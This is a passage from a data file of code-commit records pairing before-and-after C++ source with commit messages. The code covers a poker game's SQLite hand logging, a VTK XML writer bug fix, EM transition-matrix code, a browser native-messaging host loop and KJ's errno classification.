\",Sb_Amount INTEGER NOT NULL\";\n                        sql += \",Sb_Seat INTEGER NOT NULL\";\n                        sql += \",Bb_Amount INTEGER NOT NULL\";\n                        sql += \",Bb_Seat INTEGER NOT NULL\";\n                        for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Cash INTEGER\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Card_1 INTEGER\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Card_2 INTEGER\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Hand_text TEXT\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Hand_int INTEGER\";\n                        }\n                        for(i=1; i<=5; i++) {\n                            sql += \",BoardCard_\" + boost::lexical_cast<std::string>(i) + \" INTEGER\";\n                        }\n                    sql += \",PRIMARY KEY(HandID,GameID))\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n\t\t\t\t\t\tsqlite3_free(errmsg);\n\t\t\t\t\t}\n\n                    \/\/ create action table\n                    sql = \"CREATE TABLE Action (\";\n                        sql += \"ActionID INTEGER PRIMARY KEY AUTOINCREMENT\";\n                        sql += \",HandID INTEGER NOT NULL\";\n                        sql += \",GameID INTEGER NOT NULL\";\n                        sql += \",BeRo INTEGER NOT NULL\";\n                        sql += \",Player INTEGER NOT NULL\";\n                        sql += \",Action TEXT NOT NULL\";\n                        sql += \",Amount INTEGER\";\n                    sql += \")\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n\t\t\t\t\t\tsqlite3_free(errmsg);\n\t\t\t\t\t}\n\n\n                }\n\n            }\n\n        }\n\n    }\n}\n\nLog::~Log()\n{\n    if(SQLITE_LOG) {\n        sqlite3_close(mySqliteLogDb);\n    }\n}\n\nvoid\nLog::logNewGameMsg(int gameID, int startCash, int startSmallBlind, unsigned dealerPosition, PlayerList seatsList) {\n\n    curGameID = gameID;\n\n    if(SQLITE_LOG) {\n\n        if(logOnOff) {\n            \/\/if write logfiles is enabled\n\n            PlayerListConstIterator it_c;\n            string sql;\n            int i;\n            char *errmsg;\n\n            if( mySqliteLogDb != 0 ) {\n                \/\/ sqlite-db is open\n\n                sql = \"INSERT INTO Game (\";\n                    sql += \"GameID\";\n                    sql += \",Startmoney\";\n                    sql += \",StartSb\";\n                    sql += \",DealerPos\";\n                    for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                        sql += \",Seat_\" + boost::lexical_cast<std::string>(i);\n                    }\n                sql += \") VALUES (\";\n                    sql += boost::lexical_cast<string>(curGameID);\n                    sql += \",\" + boost::lexical_cast<string>(startCash);\n                    sql += \",\" + boost::lexical_cast<string>(startSmallBlind);\n                    sql += \",\" + boost::lexical_cast<string>(dealerPosition);\n                    for(it_c = seatsList->begin();it_c!=seatsList->end();it_c++) {\n                        if((*it_c)->getMyActiveStatus()) {\n                            sql += \",\\\"\" + (*it_c)->getMyName() +\"\\\"\";\n                        } else {\n                            sql += \",NULL\";\n                        }\n                    }\n                    sql += \")\";\n                if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                    cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                }\n            }\n        }\n    }\n}\n\nvoid\nLog::logNewHandMsg(int handID, unsigned dealerPosition, int smallBlind, unsigned smallBlindPosition, int bigBlind, unsigned bigBlindPosition, PlayerList seatsList) {\n\n    if(SQLITE_LOG) {\n\n        if(logOnOff) {\n            \/\/if write logfiles is enabled\n\n            PlayerListConstIterator it_c;\n            string sql;\n            int i;\n            char *errmsg;\n\n            if( mySqliteLogDb != 0 ) {\n                \/\/ sqlite-db is open\n\n                sql = \"INSERT INTO Hand (\";\n                    sql += \"HandID\";\n                    sql += \",GameID\";\n                    sql += \",Dealer_Seat\";\n                    sql += \",Sb_Amount\";\n                    sql += \",Sb_Seat\";\n                    sql += \",Bb_Amount\";\n                    sql += \",Bb_Seat\";\n                    for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                        sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Cash\";\n                    }\n                sql += \") VALUES (\";\n                    sql += boost::lexical_cast<string>(handID);\n                    sql += \",\" + boost::lexical_cast<string>(curGameID);\n                    sql += \",\" + boost::lexical_cast<string>(dealerPosition+1);\n                    sql += \",\" + boost::lexical_cast<string>(smallBlind);\n                    sql += \",\" + boost::lexical_cast<string>(smallBlindPosition+1);\n                    sql += \",\" + boost::lexical_cast<string>(bigBlind);\n                    sql += \",\" + boost::lexical_cast<string>(bigBlindPosition+1);\n                    for(it_c = seatsList->begin();it_c!=seatsList->end();it_c++) {\n                        if((*it_c)->getMyActiveStatus()) {\n                            sql += \",\" + boost::lexical_cast<string>((*it_c)->getMyCash());\n                        } else {\n                            sql += \",NULL\";\n                        }\n                    }\n                    sql += \")\";\n                if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                    cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                }\n\n            }\n\n        }\n\n    }\n}\n\n\/\/void\n\/\/Log::closeLogDbAtExit()\n\/\/{\n\/\/    if(SQLITE_LOG) {\n\/\/        \/\/ close sqlite-db\n\/\/        sqlite3_close(mySqliteLogDb);\n\/\/        mySqliteLogDb = NULL;\n\/\/    }\n\n\/\/}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkXMLUnstructuredGridWriter.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n  Copyright (c) 1993-2002 Ken Martin, Will Schroeder, Bill Lorensen \n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkXMLUnstructuredGridWriter.h\"\n\n#include \"vtkCellArray.h\"\n#include \"vtkCellData.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkUnsignedCharArray.h\"\n#include \"vtkUnstructuredGrid.h\"\n\nvtkCxxRevisionMacro(vtkXMLUnstructuredGridWriter, \"1.3\");\nvtkStandardNewMacro(vtkXMLUnstructuredGridWriter);\n\n\/\/----------------------------------------------------------------------------\nvtkXMLUnstructuredGridWriter::vtkXMLUnstructuredGridWriter()\n{\n}\n\n\/\/----------------------------------------------------------------------------\nvtkXMLUnstructuredGridWriter::~vtkXMLUnstructuredGridWriter()\n{\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::SetInput(vtkUnstructuredGrid* input)\n{\n  this->vtkProcessObject::SetNthInput(0, input);\n}\n\n\/\/----------------------------------------------------------------------------\nvtkUnstructuredGrid* vtkXMLUnstructuredGridWriter::GetInput()\n{\n  if(this->NumberOfInputs < 1)\n    {\n    return 0;\n    }\n  \n  return static_cast<vtkUnstructuredGrid*>(this->Inputs[0]);\n}\n\n\/\/----------------------------------------------------------------------------\nconst char* vtkXMLUnstructuredGridWriter::GetDataSetName()\n{\n  return \"UnstructuredGrid\";\n}\n\n\/\/----------------------------------------------------------------------------\nconst char* vtkXMLUnstructuredGridWriter::GetDefaultFileExtension()\n{\n  return \"vtu\";\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::SetInputUpdateExtent(int piece,\n                                                        int numPieces,\n                                                        int ghostLevel)\n{\n  this->GetInput()->SetUpdateExtent(piece, numPieces, ghostLevel);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteInlinePieceAttributes()\n{\n  vtkUnstructuredGrid* input = this->GetInput();\n  this->WriteScalarAttribute(\"NumberOfCells\", input->GetNumberOfCells());\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteInlinePiece(vtkIndent indent)\n{\n  vtkUnstructuredGrid* input = this->GetInput();\n  \n  \/\/ Split progress range by the approximate fraction of data written\n  \/\/ by each step in this method.\n  float progressRange[2] = {0,0};\n  this->GetProgressRange(progressRange);\n  float fractions[3];\n  this->CalculateSuperclassFraction(fractions);\n  \n  \/\/ Set the range of progress for superclass.\n  this->SetProgressRange(progressRange, 0, fractions);\n  \n  \/\/ Let the superclass write its data.\n  this->Superclass::WriteInlinePiece(indent);\n  \n  \/\/ Set range of progress for the cell specifications.\n  this->SetProgressRange(progressRange, 1, fractions);\n  \n  \/\/ Write the cell specifications.\n  this->WriteCellsInline(\"Cells\", input->GetCells(),\n                         input->GetCellTypesArray(), indent);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedMode(vtkIndent indent)\n{\n  this->NumberOfCellsPositions = new unsigned long[this->NumberOfPieces];\n  this->CellsPositions = new unsigned long*[this->NumberOfPieces];\n  this->Superclass::WriteAppendedMode(indent);\n  delete [] this->CellsPositions;\n  delete [] this->NumberOfCellsPositions;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedPieceAttributes(int index)\n{\n  this->Superclass::WriteAppendedPieceAttributes(index);\n  this->NumberOfCellsPositions[index] =\n    this->ReserveAttributeSpace(\"NumberOfCells\");\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedPiece(int index,\n                                                      vtkIndent indent)\n{\n  vtkUnstructuredGrid* input = this->GetInput();\n  this->Superclass::WriteAppendedPiece(index, indent);\n  this->CellsPositions[index] =\n    this->WriteCellsAppended(\"Cells\", input->GetCellTypesArray(), indent);  \n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedPieceData(int index)\n{\n  ostream& os = *(this->Stream);\n  vtkUnstructuredGrid* input = this->GetInput();  \n  unsigned long returnPosition = os.tellp();\n  os.seekp(this->NumberOfCellsPositions[index]);\n  this->WriteScalarAttribute(\"NumberOfCells\", input->GetNumberOfCells());\n  os.seekp(returnPosition);\n  \n  \/\/ Split progress range by the approximate fraction of data written\n  \/\/ by each step in this method.\n  float progressRange[2] = {0,0};\n  this->GetProgressRange(progressRange);\n  float fractions[3];\n  this->CalculateSuperclassFraction(fractions);\n  \n  \/\/ Set the range of progress for superclass.\n  this->SetProgressRange(progressRange, 0, fractions);\n  \n  \/\/ Let the superclass write its data.\n  this->Superclass::WriteAppendedPieceData(index);\n  \n  \/\/ Set range of progress for the cell specifications.\n  this->SetProgressRange(progressRange, 1, fractions);\n  \n  \/\/ Write the cell specifications.\n  this->WriteCellsAppendedData(input->GetCells(), input->GetCellTypesArray(),\n                               this->CellsPositions[index]);\n}\n\n\/\/----------------------------------------------------------------------------\nvtkIdType vtkXMLUnstructuredGridWriter::GetNumberOfInputCells()\n{\n  return this->GetInput()->GetNumberOfCells();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::CalculateSuperclassFraction(float* fractions)\n{\n  vtkUnstructuredGrid* input = this->GetInput();\n  \n  \/\/ The superclass will write point\/cell data and point specifications.\n  int pdArrays = input->GetPointData()->GetNumberOfArrays();\n  int cdArrays = input->GetCellData()->GetNumberOfArrays();\n  vtkIdType pdSize = pdArrays*this->GetNumberOfInputPoints();\n  vtkIdType cdSize = cdArrays*this->GetNumberOfInputCells();\n  vtkIdType pointsSize = this->GetNumberOfInputPoints();\n  \n  \/\/ This class will write cell specifications.\n  vtkIdType connectSize = (input->GetCells()->GetData()->GetNumberOfTuples() -\n                           input->GetNumberOfCells());\n  vtkIdType offsetSize = input->GetNumberOfCells();\n  vtkIdType typesSize = input->GetNumberOfCells();\n  int total = (pdSize+cdSize+pointsSize+connectSize+offsetSize+typesSize);\n  if(total == 0)\n    {\n    total = 1;\n    }\n  fractions[0] = 0;\n  fractions[1] = float(pdSize+cdSize+pointsSize)\/total;\n  fractions[2] = 1;\n}\n<commit_msg>BUG: WriteInlinePieceAttributes was not calling its superclass's implementation.<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkXMLUnstructuredGridWriter.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n  Copyright (c) 1993-2002 Ken Martin, Will Schroeder, Bill Lorensen \n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkXMLUnstructuredGridWriter.h\"\n\n#include \"vtkCellArray.h\"\n#include \"vtkCellData.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkUnsignedCharArray.h\"\n#include \"vtkUnstructuredGrid.h\"\n\nvtkCxxRevisionMacro(vtkXMLUnstructuredGridWriter, \"1.4\");\nvtkStandardNewMacro(vtkXMLUnstructuredGridWriter);\n\n\/\/----------------------------------------------------------------------------\nvtkXMLUnstructuredGridWriter::vtkXMLUnstructuredGridWriter()\n{\n}\n\n\/\/----------------------------------------------------------------------------\nvtkXMLUnstructuredGridWriter::~vtkXMLUnstructuredGridWriter()\n{\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::SetInput(vtkUnstructuredGrid* input)\n{\n  this->vtkProcessObject::SetNthInput(0, input);\n}\n\n\/\/----------------------------------------------------------------------------\nvtkUnstructuredGrid* vtkXMLUnstructuredGridWriter::GetInput()\n{\n  if(this->NumberOfInputs < 1)\n    {\n    return 0;\n    }\n  \n  return static_cast<vtkUnstructuredGrid*>(this->Inputs[0]);\n}\n\n\/\/----------------------------------------------------------------------------\nconst char* vtkXMLUnstructuredGridWriter::GetDataSetName()\n{\n  return \"UnstructuredGrid\";\n}\n\n\/\/----------------------------------------------------------------------------\nconst char* vtkXMLUnstructuredGridWriter::GetDefaultFileExtension()\n{\n  return \"vtu\";\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::SetInputUpdateExtent(int piece,\n                                                        int numPieces,\n                                                        int ghostLevel)\n{\n  this->GetInput()->SetUpdateExtent(piece, numPieces, ghostLevel);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteInlinePieceAttributes()\n{\n  this->Superclass::WriteInlinePieceAttributes();\n  vtkUnstructuredGrid* input = this->GetInput();\n  this->WriteScalarAttribute(\"NumberOfCells\", input->GetNumberOfCells());\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteInlinePiece(vtkIndent indent)\n{\n  vtkUnstructuredGrid* input = this->GetInput();\n  \n  \/\/ Split progress range by the approximate fraction of data written\n  \/\/ by each step in this method.\n  float progressRange[2] = {0,0};\n  this->GetProgressRange(progressRange);\n  float fractions[3];\n  this->CalculateSuperclassFraction(fractions);\n  \n  \/\/ Set the range of progress for superclass.\n  this->SetProgressRange(progressRange, 0, fractions);\n  \n  \/\/ Let the superclass write its data.\n  this->Superclass::WriteInlinePiece(indent);\n  \n  \/\/ Set range of progress for the cell specifications.\n  this->SetProgressRange(progressRange, 1, fractions);\n  \n  \/\/ Write the cell specifications.\n  this->WriteCellsInline(\"Cells\", input->GetCells(),\n                         input->GetCellTypesArray(), indent);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedMode(vtkIndent indent)\n{\n  this->NumberOfCellsPositions = new unsigned long[this->NumberOfPieces];\n  this->CellsPositions = new unsigned long*[this->NumberOfPieces];\n  this->Superclass::WriteAppendedMode(indent);\n  delete [] this->CellsPositions;\n  delete [] this->NumberOfCellsPositions;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedPieceAttributes(int index)\n{\n  this->Superclass::WriteAppendedPieceAttributes(index);\n  this->NumberOfCellsPositions[index] =\n    this->ReserveAttributeSpace(\"NumberOfCells\");\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedPiece(int index,\n                                                      vtkIndent indent)\n{\n  vtkUnstructuredGrid* input = this->GetInput();\n  this->Superclass::WriteAppendedPiece(index, indent);\n  this->CellsPositions[index] =\n    this->WriteCellsAppended(\"Cells\", input->GetCellTypesArray(), indent);  \n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::WriteAppendedPieceData(int index)\n{\n  ostream& os = *(this->Stream);\n  vtkUnstructuredGrid* input = this->GetInput();  \n  unsigned long returnPosition = os.tellp();\n  os.seekp(this->NumberOfCellsPositions[index]);\n  this->WriteScalarAttribute(\"NumberOfCells\", input->GetNumberOfCells());\n  os.seekp(returnPosition);\n  \n  \/\/ Split progress range by the approximate fraction of data written\n  \/\/ by each step in this method.\n  float progressRange[2] = {0,0};\n  this->GetProgressRange(progressRange);\n  float fractions[3];\n  this->CalculateSuperclassFraction(fractions);\n  \n  \/\/ Set the range of progress for superclass.\n  this->SetProgressRange(progressRange, 0, fractions);\n  \n  \/\/ Let the superclass write its data.\n  this->Superclass::WriteAppendedPieceData(index);\n  \n  \/\/ Set range of progress for the cell specifications.\n  this->SetProgressRange(progressRange, 1, fractions);\n  \n  \/\/ Write the cell specifications.\n  this->WriteCellsAppendedData(input->GetCells(), input->GetCellTypesArray(),\n                               this->CellsPositions[index]);\n}\n\n\/\/----------------------------------------------------------------------------\nvtkIdType vtkXMLUnstructuredGridWriter::GetNumberOfInputCells()\n{\n  return this->GetInput()->GetNumberOfCells();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkXMLUnstructuredGridWriter::CalculateSuperclassFraction(float* fractions)\n{\n  vtkUnstructuredGrid* input = this->GetInput();\n  \n  \/\/ The superclass will write point\/cell data and point specifications.\n  int pdArrays = input->GetPointData()->GetNumberOfArrays();\n  int cdArrays = input->GetCellData()->GetNumberOfArrays();\n  vtkIdType pdSize = pdArrays*this->GetNumberOfInputPoints();\n  vtkIdType cdSize = cdArrays*this->GetNumberOfInputCells();\n  vtkIdType pointsSize = this->GetNumberOfInputPoints();\n  \n  \/\/ This class will write cell specifications.\n  vtkIdType connectSize = (input->GetCells()->GetData()->GetNumberOfTuples() -\n                           input->GetNumberOfCells());\n  vtkIdType offsetSize = input->GetNumberOfCells();\n  vtkIdType typesSize = input->GetNumberOfCells();\n  int total = (pdSize+cdSize+pointsSize+connectSize+offsetSize+typesSize);\n  if(total == 0)\n    {\n    total = 1;\n    }\n  fractions[0] = 0;\n  fractions[1] = float(pdSize+cdSize+pointsSize)\/total;\n  fractions[2] = 1;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"EM_Classes.h\"\n\nTransitions::Transitions(const Model &model): N(model.N), Nm(model.Nm){\n\tF.setZero(Nm, Nm);\n}\n\n\/\/ updateF needs the smooth probabilities\nvoid updateF(const MatrixXd & Xtt, const MatrixXd & Xt1t,\n\t\t\t const MatrixXd & XiS, const int &T, const int & N){\n\tfor(unsigned int j = 0; j <= parSelect.N - 1; ++j){\n\t\tfor(unsigned int i = 0;  i <= parSelect.N - 1; ++i){\n\t\t\txS = XiS.row(j).tail(T - 1);\n\t\t\txtt_lag1 = Xitt.row(i).head(T - 1);\n\t\t\txt1t = Xit1t.row(j).head(T).tail(T - 1);\n\t\t\txS_lag1 = XiS.row(i).head(T - 1);\n\t\t\tF(j, i) = F(j, i)*((xS.cwiseProduct(xtt_lag1).cwiseQuotient(xt1t)).sum())\/(xS_lag1.sum());\n\t\t}\n\t}\n}\n\nvoid updateRho(const MatrixXd & Xtt, const MatrixXd & Xt1t,\n\t\t\t   const MatrixXd & XiS){\n\t\n}\n<commit_msg>Finish transition class methods<commit_after>#include \"EM_Classes.h\"\n#include \"RN_Class.h\"\n\nvoid Transitions::createF(){\n\tF.setZero(Nm, Nm);\n\tP.setZero(N, N);\n\trandomNb rnb;\n\tP = P.unaryExpr(std::ptr_fun(rnb.sampleUniform));\n\tVectorXd normTerm(N);\n\tnormTerm = P.colwise().sum();\n\tfor (int i = 0; i <= N - 1; i++){\n\t\tP.col(i) = P.col(i)\/normTerm(i);\n\t}\n\tif (Nm != N){\n\t\tMatrixXd Fi(Nm, N);\n\t\tFi.setZero(Nm, N);\n\t\tfor(unsigned int i = 0, j = 0;\n\t\t\ti < N; i++, j+=N){\n\t\t\tFi.col(i).segment(j, N) = P.col(i);\n\t\t}\n\t\tfor (unsigned int i = 0; i<Nm; i+=N){\n\t\t\tF.block(0,i,Nm,N) = Fi;\n\t\t}\n\t} else\n\t\tF = P;\n}\n\n\/\/ rho = (A'A)^{-1}A'e\n\/\/ Since A'A is positive semidefinite matrix we use ldlt method of matrix\n\nvoid Transitions::createRho(){\n\trho.setZero(Nm);\n\tMatrixXd A(Nm+1, Nm+1);\n\tMatrixXd I;\n\tI.setIdentity(Nm, Nm);\n\tA << (I - F), MatrixXd::setOnes(0,d);\n\trho = (A.transpose()*A).ldlt.solve(A.transpos()*I.col(Nm));\n}\n\n\/\/ updateF needs the smooth probabilities\nvoid Transitions::updateF(const MatrixXd & Xtt, const MatrixXd & Xt1t,\n\t\t\t\t\t\t  const MatrixXd & XiS, const int &T,\n\t\t\t\t\t\t  const int & N){\n\tfor(unsigned int j = 0; j < Nm; ++j){\n\t\tfor(unsigned int i = 0;  i < Nm; ++i){\n\t\t\txS = XiS.row(j).tail(T - 1);\n\t\t\txtt_lag1 = Xitt.row(i).head(T - 1);\n\t\t\txt1t = Xit1t.row(j).head(T).tail(T - 1);\n\t\t\txS_lag1 = XiS.row(i).head(T - 1);\n\t\t\tF(j, i) = F(j, i)*((xS.cwiseProduct(xtt_lag1).cwiseQuotient(xt1t)).sum())\/(xS_lag1.sum());\n\t\t}\n\t}\n}\n\nvoid Transitions::updateRho(const MatrixXd & XiS){\n\trho = Xis.row(0);\n}\n\nTransitions::Transitions(const Model &model): N(model.N), Nm(model.Nm){\n\tcreateF();\n\tcreateRho();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Chrome Linux plugin\n*\n* This software is released under either the GNU Library General Public\n* License (see LICENSE.LGPL).\n*\n* Note that the only valid version of the LGPL license as far as this\n* project is concerned is the original GNU Library General Public License\n* Version 2.1, February 1999\n*\/\n\n\n#include \"IOCommunicator.h\"\n#include \"jsonxx.h\"\n#include \"RequestHandler.h\"\n#include \"Logger.h\"\n#include \"HostExceptions.h\"\n\nusing namespace std;\nusing namespace jsonxx;\n\nint main(int argc, char **argv) {\n\n\tIOCommunicator ioCommunicator;\n\n\twhile (true)\n\t{\n\t\t_log(\"Parsing input...\");\n\t\tstring response;\n\t\ttry\n\t\t{\n\t\t\tstring request = ioCommunicator.readMessage();\n\t\t\tRequestHandler handler(request);\n\t\t\tresponse = handler.handleRequest().json();\n\t\t}\n\t\tcatch (BaseException &e)\n\t\t{\n\t\t\tstring msg = \"Handling exception: \" + e.getErrorCode();\n\t\t\t_log(msg.c_str());\n\t\t\tObject json;\n\t\t\tjson << \"result\" << e.getErrorCode() << \"message\" << e.getErrorMessage();\n\t\t\tresponse = json.json();\n\t\t}\n\t\tcatch (const std::runtime_error &e)\n\t\t{\n\t\t\tObject json;\n\t\t\tjson << \"result\" << \"invalid_argument\" << \"message\" << e.what();\n\t\t\tresponse = json.json();\n\t\t}\n\t\tioCommunicator.sendMessage(response);\n\t}\n\treturn EXIT_SUCCESS;\n}\n<commit_msg>Ending windows host process in case of errors<commit_after>\/* Chrome Linux plugin\n*\n* This software is released under either the GNU Library General Public\n* License (see LICENSE.LGPL).\n*\n* Note that the only valid version of the LGPL license as far as this\n* project is concerned is the original GNU Library General Public License\n* Version 2.1, February 1999\n*\/\n\n\n#include \"IOCommunicator.h\"\n#include \"jsonxx.h\"\n#include \"RequestHandler.h\"\n#include \"Logger.h\"\n#include \"HostExceptions.h\"\n\nusing namespace std;\nusing namespace jsonxx;\n\nint main(int argc, char **argv) {\n\n\tIOCommunicator ioCommunicator;\n\n\twhile (true)\n\t{\n\t\t_log(\"Parsing input...\");\n\t\ttry\n\t\t{\n\t\t\tstring request = ioCommunicator.readMessage();\n\t\t\tRequestHandler handler(request);\n\t\t\tstring response = handler.handleRequest().json();\n\t\t\tioCommunicator.sendMessage(response);\n\t\t}\n\t\tcatch (BaseException &e)\n\t\t{\n\t\t\tstring msg = \"Handling exception: \" + e.getErrorCode();\n\t\t\t_log(msg.c_str());\n\t\t\tObject json;\n\t\t\tjson << \"result\" << e.getErrorCode() << \"message\" << e.getErrorMessage();\n\t\t\tstring response = json.json();\n\t\t\tioCommunicator.sendMessage(response);\n\t\t\tbreak;\n\t\t}\n\t\tcatch (const std::runtime_error &e)\n\t\t{\n\t\t\tObject json;\n\t\t\tjson << \"result\" << \"invalid_argument\" << \"message\" << e.what();\n\t\t\tstring response = json.json();\n\t\t\tioCommunicator.sendMessage(response);\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2013-2014 Sandstorm Development Group, Inc. and contributors\n\/\/ Licensed under the MIT License:\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#include \"debug.h\"\n#include <stdlib.h>\n#include <ctype.h>\n#include <string.h>\n#include <errno.h>\n\n#if _WIN32\n#define strerror_r(errno,buf,len) strerror_s(buf,len,errno)\n#endif\n\nnamespace kj {\nnamespace _ {  \/\/ private\n\nDebug::Severity Debug::minSeverity = Debug::Severity::WARNING;\n\nArrayPtr<const char> KJ_STRINGIFY(Debug::Severity severity) {\n  static const char* SEVERITY_STRINGS[] = {\n    \"info\",\n    \"warning\",\n    \"error\",\n    \"fatal\",\n    \"debug\"\n  };\n\n  const char* s = SEVERITY_STRINGS[static_cast<uint>(severity)];\n  return arrayPtr(s, strlen(s));\n}\n\nnamespace {\n\nException::Type typeOfErrno(int error) {\n  switch (error) {\n#ifdef EDQUOT\n    case EDQUOT:\n#endif\n#ifdef EMFILE\n    case EMFILE:\n#endif\n#ifdef ENFILE\n    case ENFILE:\n#endif\n#ifdef ENOBUFS\n    case ENOBUFS:\n#endif\n#ifdef ENOLCK\n    case ENOLCK:\n#endif\n#ifdef ENOMEM\n    case ENOMEM:\n#endif\n#ifdef ENOSPC\n    case ENOSPC:\n#endif\n#ifdef ETIMEDOUT\n    case ETIMEDOUT:\n#endif\n#ifdef EUSERS\n    case EUSERS:\n#endif\n      return Exception::Type::OVERLOADED;\n\n#ifdef ENOTCONN:\n    case ENOTCONN:\n#endif\n#ifdef ECONNABORTED\n    case ECONNABORTED:\n#endif\n#ifdef ECONNREFUSED\n    case ECONNREFUSED:\n#endif\n#ifdef ECONNRESET\n    case ECONNRESET:\n#endif\n#ifdef EHOSTDOWN\n    case EHOSTDOWN:\n#endif\n#ifdef EHOSTUNREACH\n    case EHOSTUNREACH:\n#endif\n#ifdef ENETDOWN\n    case ENETDOWN:\n#endif\n#ifdef ENETRESET\n    case ENETRESET:\n#endif\n#ifdef ENETUNREACH\n    case ENETUNREACH:\n#endif\n#ifdef ENONET\n    case ENONET:\n#endif\n#ifdef EPIPE\n    case EPIPE:\n#endif\n      return Exception::Type::DISCONNECTED;\n\n#ifdef ENOSYS\n    case ENOSYS:\n#endif\n#ifdef ENOTSUP\n    case ENOTSUP:\n#endif\n#if defined(EOPNOTSUPP) && EOPNOTSUPP != ENOTSUP\n    case EOPNOTSUPP:\n#endif\n#ifdef ENOPROTOOPT\n    case ENOPROTOOPT:\n#endif\n#ifdef ENOTSOCK\n    \/\/ This is really saying \"syscall not implemented for non-sockets\".\n    case 